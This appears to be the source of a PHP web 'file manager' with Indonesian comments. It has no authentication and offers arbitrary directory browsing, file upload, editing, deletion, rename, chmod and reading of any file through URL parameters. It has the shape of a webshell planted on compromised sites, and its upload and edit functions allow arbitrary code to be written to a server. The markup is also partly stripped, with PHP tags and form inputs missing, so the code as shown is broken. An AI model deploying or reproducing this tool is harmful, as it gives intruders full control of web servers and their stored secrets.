// --- Anti Error & Log ---
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__.'/error.log');

// --- Direktori saat ini ---
$directory = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
$directory = realpath($directory);
if (!is_dir($directory)) die("Direktori tidak valid.");

// --- Tombol naik folder ---
$parentDir = dirname($directory);

// --- Scan folder ---
$files = array_diff(scandir($directory), array('.', '..'));
$dirs = $regularFiles = [];
foreach ($files as $file) {
$filePath = $directory . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) $dirs[] = $file;
else $regularFiles[] = $file;
}
$sortedFiles = array_merge($dirs, $regularFiles);

// --- Pesan status ---
$msg = '';

// --- Handle Upload File ---
if (isset($_FILES['upload_file'])) {
$targetFile = $directory . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $targetFile)) $msg = "Upload sukses!";
else $msg = "Upload gagal!";
}

// --- Handle Create Folder ---
if (isset($_POST['new_folder'])) {
$newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['new_folder'];
if (!file_exists($newFolder) && mkdir($newFolder)) $msg = "Folder dibuat: ".$_POST['new_folder'];
else $msg = "Gagal buat folder!";
}

// --- Handle Create File ---
if (isset($_POST['new_file'])) {
$newFile = $directory . DIRECTORY_SEPARATOR . $_POST['new_file'];
if (!file_exists($newFile) && file_put_contents($newFile, '') !== false) $msg = "File dibuat: ".$_POST['new_file'];
else $msg = "Gagal buat file!";
}

// --- Handle Delete ---
if (isset($_POST['delete_file'])) {
$target = $directory . DIRECTORY_SEPARATOR . $_POST['delete_file'];
if (is_file($target) && unlink($target)) $msg = "File dihapus: ".$_POST['delete_file'];
elseif (is_dir($target) && rmdir($target)) $msg = "Folder dihapus: ".$_POST['delete_file'];
else $msg = "Gagal menghapus: ".$_POST['delete_file'];
}

// --- Handle Rename ---
if (isset($_POST['rename_file'], $_POST['new_name'])) {
$old = $directory . DIRECTORY_SEPARATOR . $_POST['rename_file'];
$new = $directory . DIRECTORY_SEPARATOR . $_POST['new_name'];
if (rename($old, $new)) $msg = "Rename sukses!";
else $msg = "Rename gagal!";
}

// --- Handle Edit File ---
if (isset($_POST['edit_file'], $_POST['edit_content'])) {
$fileEdit = $directory . DIRECTORY_SEPARATOR . $_POST['edit_file'];
if (is_writable($fileEdit) && file_put_contents($fileEdit, $_POST['edit_content']) !== false) $msg = "Edit sukses!";
else $msg = "Edit gagal!";
}

// --- Handle Chmod ---
if (isset($_POST['chmod_file'], $_POST['chmod_value'])) {
$chmodPath = $directory . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
$chmodVal = octdec($_POST['chmod_value']);
if (chmod($chmodPath, $chmodVal)) $msg = "Chmod sukses!";
else $msg = "Chmod gagal!";
}

$currentDir = htmlspecialchars($directory);

<!DOCTYPE html>


<meta charset="UTF-8">
PHP File Manager Full<title>PHP File Manager Full</title>
<style>
body{font-family:arial;background:#f2f2f2;margin:0;padding:0;}
header{background:#333;color:#fff;padding:10px;}
.container{padding:15px;}
.file-list{list-style:none;padding:0;}
.file-item{margin:5px 0;display:flex;align-items:center;}
.file-item .icon{width:40px;text-align:center;}
.file-item .file-name{margin-left:5px;}
.message{padding:5px;color:green;}
input, button, textarea{padding:5px;margin:3px;}
textarea{width:100%;height:200px;}
form.inline{display:inline;}
</style>


<header>

PHP File Manager Full


<small>Current Dir: echo $currentDir; </small>
</header>
<div class="container">
if($msg) echo "<p class='message'>".$msg."</p>";

<!-- Upload -->


<button type="submit">Upload File</button>


<!-- Create File & Folder -->


<button type="submit">Buat File</button>




<button type="submit">Buat Folder</button>


<!-- File List -->
<ul class="file-list">
if ($parentDir && is_dir($parentDir)):
<li class="file-item">
<a href="?dir= echo urlencode($parentDir); " class="icon">[Parent]</a>
<span class="file-name">..</span>
</li>
endif;

foreach ($sortedFiles as $file):
$filePath = $directory . DIRECTORY_SEPARATOR . $file;
<li class="file-item">
<div class="icon"> echo is_dir($filePath) ? "[Dir]" : "[File]"; </div>
<div class="file-name">
if(is_dir($filePath)):
<a href="?dir= echo urlencode($filePath); "> echo htmlspecialchars($file); </a>
else:
echo htmlspecialchars($file);
endif;
</div>

<!-- Action Buttons -->


<button type="submit">Delete</button>





<button type="submit">Rename</button>


if(!is_dir($filePath)):


<button type="button" onclick="editFile(' echo addslashes($file); ')">Edit</button>

endif;

</li>
endforeach;
</ul>

<!-- Edit Modal -->
<div id="editModal" style="display:none;">

Edit File: <span id="editFileName"></span>


<textarea name="edit_content" id="editContent"></textarea>

<button type="submit">Save</button>
<button type="button" onclick="closeEdit()">Cancel</button>

</div>

<script>
function editFile(filename){
document.getElementById('editModal').style.display='block';
document.getElementById('editFileName').innerText = filename;
document.getElementById('editFileInput').value = filename;

fetch('?dir= echo urlencode($directory); &file_view='+filename)
.then(r=>r.text())
.then(data=>document.getElementById('editContent').value=data);
}

function closeEdit(){
document.getElementById('editModal').style.display='none';
}
</script>

</div>




// --- Handle file_view for edit modal ---
if(isset($_GET['file_view'])){
$file = $directory . DIRECTORY_SEPARATOR . $_GET['file_view'];
if(is_file($file)) die(file_get_contents($file));
else die('File tidak ditemukan.');
}